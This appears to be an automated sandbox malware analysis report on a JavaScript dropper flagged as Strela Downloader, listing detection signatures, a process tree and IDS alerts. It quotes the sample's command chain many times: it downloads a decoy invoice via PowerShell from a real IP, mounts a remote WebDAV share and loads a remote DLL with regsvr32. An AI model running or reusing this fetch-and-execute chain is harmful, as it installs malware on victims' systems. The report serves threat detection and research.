Edit tour

Windows Analysis Report
225803042163626345.js

Overview

General Information

Sample name:	225803042163626345.js
Analysis ID:	1588852
MD5:	f6926ca4c2c042b138d18b63f20f213a
SHA1:	03b0263de9de4ce5c5106bf06c229edef2a9c0dd
SHA256:	1223b90121822655103ca11cad80f121a7e11aea8ef2c85b6f2f2662219a1a12
Tags:	jsuser-threatcat_ch
Infos:

Detection

Strela Downloader

Score:	100
Range:	0 - 100
Whitelisted:	false
Confidence:	100%

Signatures

JScript performs obfuscated calls to suspicious functions

Sigma detected: Powershell launch regsvr32

Suricata IDS alerts for network traffic

Yara detected Strela Downloader

Downloads files with wrong headers with respect to MIME Content-Type

Gathers information about network shares

JavaScript source code contains functionality to generate code involving a shell, file or stream

Sigma detected: Suspicious Invoke-WebRequest Execution

Sigma detected: Suspicious Script Execution From Temp Folder

Sigma detected: WScript or CScript Dropper

Suspicious execution chain found

Suspicious powershell command line found

Uses known network protocols on non-standard ports

Windows Scripting host checks user region and language preferences

Windows Scripting host queries suspicious COM object (likely to drop second stage)

Wscript starts Powershell (via cmd or directly)

Contains long sleeps (>= 3 min)

Creates a process in suspended mode (likely to inject code)

Creates files inside the system directory

Detected TCP or UDP traffic on non-standard ports

Detected non-DNS traffic on DNS port

Found WSH timer for Javascript or VBS script (likely evasive script)

Found a high number of Window / User specific system calls (may be a loop to detect user behavior)

IP address seen in connection with other malware

Internet Provider seen in connection with other malware

Java / VBScript file with very long strings (likely obfuscated code)

May sleep (evasive loops) to hinder dynamic analysis

Queries disk information (often used to detect virtual machines)

Queries the volume information (name, serial number etc) of a device

Sample execution stops while process was sleeping (likely an evasion)

Sigma detected: Communication To Uncommon Destination Ports

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Sigma detected: PowerShell Script Run in AppData

Sigma detected: PowerShell Web Download

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Sigma detected: Usage Of Web Request Commands And Cmdlets

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Suricata IDS alerts with low severity for network traffic

Uses a known web browser user agent for HTTP communication

Very long cmdline option found, this is very uncommon (may be encrypted or packed)

Classification

Process Tree

System is w10x64

wscript.exe (PID: 4852 cmdline: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js" MD5: A47CBE969EA935BDD3AB568BB126BC80)

cmd.exe (PID: 2328 cmdline: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

conhost.exe (PID: 3768 cmdline: C:\Windows\system32\conhost.exe 0xffffffff -ForceV1 MD5: 0D698AF330FD17BEE3BF90011D49251D)

powershell.exe (PID: 1492 cmdline: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php" MD5: 04029E121A0CFA5991749937DD22A1D9)

Acrobat.exe (PID: 2976 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\Acrobat.exe" "C:\Users\user\AppData\Local\Temp\invoice.pdf" MD5: 24EAD1C46A47022347DC0F05F6EFBB8C)

AcroCEF.exe (PID: 5504 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --backgroundcolor=16777215 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

AcroCEF.exe (PID: 4932 cmdline: "C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\AcroCEF.exe" --type=utility --utility-sub-type=network.mojom.NetworkService --lang=en-US --service-sandbox-type=none --log-severity=disable --user-agent-product="ReaderServices/23.6.20320 Chrome/105.0.0.0" --lang=en-US --user-data-dir="C:\Users\user\AppData\Local\CEF\User Data" --log-file="C:\Program Files\Adobe\Acrobat DC\Acrobat\acrocef_1\debug.log" --mojo-platform-channel-handle=2128 --field-trial-handle=1616,i,10186210972934527283,15093102510945980784,131072 --disable-features=BackForwardCache,CalculateNativeWinOcclusion,WinUseBrowserSpellChecker /prefetch:8 MD5: 9B38E8E8B6DD9622D24B53E095C5D9BE)

cmd.exe (PID: 4184 cmdline: cmd /c net use \\193.143.1.205@8888\davwwwroot\ MD5: 8A2122E8162DBEF04694B9C3E0B6CDEE)

net.exe (PID: 6196 cmdline: net use \\193.143.1.205@8888\davwwwroot\ MD5: 0BD94A338EEA5A4E1F2830AE326E6D19)

svchost.exe (PID: 1340 cmdline: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS MD5: B7F884C1B74A263F746EE12A5F7C9F6A)

cleanup

Yara Signatures

Memory Dumps

Source	Rule	Description	Author	Strings
Process Memory Space: wscript.exe PID: 4852	JoeSecurity_StrelaDownloader	Yara detected Strela Downloader	Joe Security

Sigma Signatures

System Summary

Sigma detected: Suspicious Invoke-WebRequest Execution

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2328, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1492, ProcessName: powershell.exe

Sigma detected: Suspicious Script Execution From Temp Folder

Source: Process started

Author: Florian Roth (Nextron Systems), Max Altgelt (Nextron Systems), Tim Shelton: Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2328, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1492, ProcessName: powershell.exe

Sigma detected: WScript or CScript Dropper

Source: Process started

Author: Margaritis Dimitrios (idea), Florian Roth (Nextron Systems), oscd.community: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js", ProcessId: 4852, ProcessName: wscript.exe

Sigma detected: Communication To Uncommon Destination Ports

Source: Network Connection

Author: Florian Roth (Nextron Systems): Data: DestinationIp: 193.143.1.205, DestinationIsIpv6: false, DestinationPort: 8888, EventID: 3, Image: C:\Windows\System32\net.exe, Initiated: true, ProcessId: 6196, Protocol: tcp, SourceIp: 192.168.2.6, SourceIsIpv6: false, SourcePort: 49711

Sigma detected: Cscript/Wscript Potentially Suspicious Child Process

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems), Alejandro Houspanossian ('@lekz86'): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ProcessId: 2328, ProcessName: cmd.exe

Sigma detected: Potential DLL File Download Via PowerShell Invoke-WebRequest

Source: Process started

Author: Florian Roth (Nextron Systems), Hieu Tran: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ProcessId: 2328, ProcessName: cmd.exe

Sigma detected: PowerShell Script Run in AppData

Source: Process started

Author: Florian Roth (Nextron Systems), Jonhnathan Ribeiro, oscd.community: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ProcessId: 2328, ProcessName: cmd.exe

Sigma detected: PowerShell Web Download

Source: Process started

Author: Florian Roth (Nextron Systems): Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ProcessId: 2328, ProcessName: cmd.exe

Sigma detected: Suspicious Invoke-WebRequest Execution With DirectIP

Source: Process started

Sigma detected: Usage Of Web Request Commands And Cmdlets

Source: Process started

Author: James Pemberton / @4A616D6573, Endgame, JHasenbusch, oscd.community, Austin Songer @austinsonger: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ProcessId: 2328, ProcessName: cmd.exe

Sigma detected: WSF/JSE/JS/VBA/VBE File Execution Via Cscript/Wscript

Source: Process started

Author: Michael Haag: Data: Command: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js", CommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js", CommandLine|base64offset|contains: , Image: C:\Windows\System32\wscript.exe, NewProcessName: C:\Windows\System32\wscript.exe, OriginalFileName: C:\Windows\System32\wscript.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 4004, ProcessCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js", ProcessId: 4852, ProcessName: wscript.exe

Sigma detected: Non Interactive PowerShell Process Spawned

Source: Process started

Author: Roberto Rodriguez @Cyb3rWard0g (rule), oscd.community (improvements): Data: Command: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", CommandLine|base64offset|contains: *&, Image: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, NewProcessName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, OriginalFileName: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe, ParentCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 2328, ParentProcessName: cmd.exe, ProcessCommandLine: powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php", ProcessId: 1492, ProcessName: powershell.exe

Sigma detected: System Network Connections Discovery Via Net.EXE

Source: Process started

Author: frack113: Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4184, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6196, ProcessName: net.exe

Sigma detected: Windows Processes Suspicious Parent Directory

Source: Process started

Author: vburov: Data: Command: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, CommandLine|base64offset|contains: , Image: C:\Windows\System32\svchost.exe, NewProcessName: C:\Windows\System32\svchost.exe, OriginalFileName: C:\Windows\System32\svchost.exe, ParentCommandLine: , ParentImage: , ParentProcessId: 632, ProcessCommandLine: C:\Windows\System32\svchost.exe -k netsvcs -p -s BITS, ProcessId: 1340, ProcessName: svchost.exe

Sigma detected: Windows Share Mount Via Net.EXE

Source: Process started

Author: Nasreddine Bencherchali (Nextron Systems): Data: Command: net use \\193.143.1.205@8888\davwwwroot\, CommandLine: net use \\193.143.1.205@8888\davwwwroot\, CommandLine|base64offset|contains: , Image: C:\Windows\System32\net.exe, NewProcessName: C:\Windows\System32\net.exe, OriginalFileName: C:\Windows\System32\net.exe, ParentCommandLine: cmd /c net use \\193.143.1.205@8888\davwwwroot\, ParentImage: C:\Windows\System32\cmd.exe, ParentProcessId: 4184, ParentProcessName: cmd.exe, ProcessCommandLine: net use \\193.143.1.205@8888\davwwwroot\, ProcessId: 6196, ProcessName: net.exe

HIPS / PFW / Operating System Protection Evasion

Sigma detected: Powershell launch regsvr32

Source: Process started

Author: Joe Security: Data: Command: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, CommandLine|base64offset|contains: , Image: C:\Windows\System32\cmd.exe, NewProcessName: C:\Windows\System32\cmd.exe, OriginalFileName: C:\Windows\System32\cmd.exe, ParentCommandLine: C:\Windows\System32\WScript.exe "C:\Users\user\Desktop\225803042163626345.js", ParentImage: C:\Windows\System32\wscript.exe, ParentProcessId: 4852, ParentProcessName: wscript.exe, ProcessCommandLine: "C:\Windows\System32\cmd.exe" /c powershell.exe -Command "Invoke-WebRequest -OutFile C:\Users\user\AppData\Local\Temp\invoice.pdf http://193.143.1.205/invoice.php"&&start C:\Users\user\AppData\Local\Temp\invoice.pdf&&cmd /c net use \\193.143.1.205@8888\davwwwroot\&&cmd /c regsvr32 /s \\193.143.1.205@8888\davwwwroot\23163277866377.dll, ProcessId: 2328, ProcessName: cmd.exe

Suricata Signatures

ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET)

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:18:52.327341+0100	2859560	1	Malware Command and Control Activity Detected	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Security ANOMALY Microsoft Office WebDAV Discovery

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:18:55.016746+0100	1810005	1	Potentially Bad Traffic	192.168.2.6	49711	193.143.1.205	8888	TCP

Joe Security ANOMALY Windows PowerShell HTTP activity

Timestamp	SID	Severity	Classtype	Source IP	Source Port	Destination IP	Destination Port	Protocol
2025-01-11T06:18:52.327341+0100	1810000	2	Potentially Bad Traffic	192.168.2.6	49709	193.143.1.205	80	TCP

Joe Sandbox Signatures

Click to jump to signature section

Show All Signature Results

Software Vulnerabilities

JavaScript source code contains functionality to generate code involving a shell, file or stream

Source: 225803042163626345.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition
Source: 225803042163626345.js	Argument value : ['"cmd /c powershell.exe -Command "Invoke-WebRequest -OutFile %temp%\\invoice.pdf http://193.143.1.205/', '"WScript.Shell"']			Go to definition

Suspicious execution chain found

Source: C:\Windows\System32\wscript.exe

Child: C:\Windows\System32\WindowsPowerShell\v1.0\powershell.exe

Networking

Suricata IDS alerts for network traffic

Source: Network traffic	Suricata IDS: 1810005 - Severity 1 - Joe Security ANOMALY Microsoft Office WebDAV Discovery : 192.168.2.6:49711 -> 193.143.1.205:8888
Source: Network traffic	Suricata IDS: 2859560 - Severity 1 - ETPRO MALWARE StrelaStealer CnC Activity - Requesting Decoy Payload (GET) : 192.168.2.6:49709 -> 193.143.1.205:80

Downloads files with wrong headers with respect to MIME Content-Type

Source: http

Bad PDF prefix: HTTP/1.1 200 OK Server: nginx/1.22.1 Date: Sat, 11 Jan 2025 05:18:52 GMT Content-Type: application/pdf Transfer-Encoding: chunked Connection: keep-alive X-Frame-Options: SAMEORIGIN Data Raw: 31 66 36 61 0d 0a 25 50 44 46 2d 31 2e 37 0a 25 bf f7 a2 fe 0a 31 20 30 20 6f 62 6a 0a 3c 3c 20 2f 50 61 67 65 73 20 33 20 30 20 52 20 2f 54 79 70 65 20 2f 43 61 74 61 6c 6f 67 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 32 20 30 20 6f 62 6a 0a 3c 3c 20 2f 54 79 70 65 20 2f 4f 62 6a 53 74 6d 20 2f 4c 65 6e 67 74 68 20 35 36 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4e 20 31 20 2f 46 69 72 73 74 20 34 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 56 30 e0 b2 b1 51 d0 77 ce 2f cd 2b 51 30 54 d0 f7 ce 4c 29 56 88 56 30 51 30 50 08 52 88 55 d0 0f a9 2c 48 55 d0 0f 48 4c 4f 2d 56 b0 b3 e3 02 00 25 30 0c 6d 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 34 20 30 20 6f 62 6a 0a 3c 3c 20 2f 43 6f 6e 74 65 6e 74 73 20 35 20 30 20 52 20 2f 47 72 6f 75 70 20 3c 3c 20 2f 43 53 20 2f 44 65 76 69 63 65 52 47 42 20 2f 49 20 74 72 75 65 20 2f 53 20 2f 54 72 61 6e 73 70 61 72 65 6e 63 79 20 2f 54 79 70 65 20 2f 47 72 6f 75 70 20 3e 3e 20 2f 4d 65 64 69 61 42 6f 78 20 5b 20 30 20 30 20 35 39 34 2e 39 36 20 38 34 30 2e 39 36 20 5d 20 2f 50 61 72 65 6e 74 20 33 20 30 20 52 20 2f 52 65 73 6f 75 72 63 65 73 20 36 20 30 20 52 20 2f 53 74 72 75 63 74 50 61 72 65 6e 74 73 20 30 20 2f 54 79 70 65 20 2f 50 61 67 65 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 35 20 30 20 6f 62 6a 0a 3c 3c 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 4c 65 6e 67 74 68 20 37 35 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 33 54 30 00 42 5d 43 20 61 61 62 a0 67 69 a6 90 9c cb 55 c8 65 a8 00 82 45 e9 0a fa 89 06 0a e9 c5 5c 20 45 a6 96 26 40 79 43 a8 3a a0 6c aa 42 1a 57 a0 42 21 50 39 44 95 82 7e 85 b9 82 4b 3e 57 20 10 02 00 26 99 12 f1 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 36 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 3e 3e 20 2f 58 4f 62 6a 65 63 74 20 3c 3c 20 2f 78 37 20 37 20 30 20 52 20 3e 3e 20 3e 3e 0a 65 6e 64 6f 62 6a 0a 37 20 30 20 6f 62 6a 0a 3c 3c 20 2f 42 42 6f 78 20 5b 20 30 20 30 20 35 39 35 20 38 34 31 20 5d 20 2f 46 69 6c 74 65 72 20 2f 46 6c 61 74 65 44 65 63 6f 64 65 20 2f 52 65 73 6f 75 72 63 65 73 20 38 20 30 20 52 20 2f 53 75 62 74 79 70 65 20 2f 46 6f 72 6d 20 2f 54 79 70 65 20 2f 58 4f 62 6a 65 63 74 20 2f 4c 65 6e 67 74 68 20 35 39 20 3e 3e 0a 73 74 72 65 61 6d 0a 78 9c 2b e4 0a 54 28 e4 d2 4f 2f 36 50 48 2f e6 2a e4 32 b5 34 d1 b3 34 53 30 00 42 5d 0b 13 03 08 1b ca 48 ce e5 d2 4f 04 a9 53 d0 af 30 34 54 70 c9 e7 0a 04 42 00 f1 ec 0e 9e 65 6e 64 73 74 72 65 61 6d 0a 65 6e 64 6f 62 6a 0a 38 20 30 20 6f 62 6a 0a 3c 3c 20 2f 45 78 74 47 53 74 61 74 65 20 3c 3c 20 2f 61 30 20 3c 3c 20 2f 43 41 20 31 20 2f 63 61 20 31 20 3e 3e 20 2f 67 73 30 20 3c 3c 20 2f 42 4d 20 2f 4e 6f 72 6d 61 6c 20 2f 43 41 20 31 2e 30 20 2f 53 4d 61 73 6b 20 2f 4e 6f 6e 65 20 2f 6

Uses known network protocols on non-standard ports

Source: unknown	Network traffic detected: HTTP traffic on port 49711 -> 8888
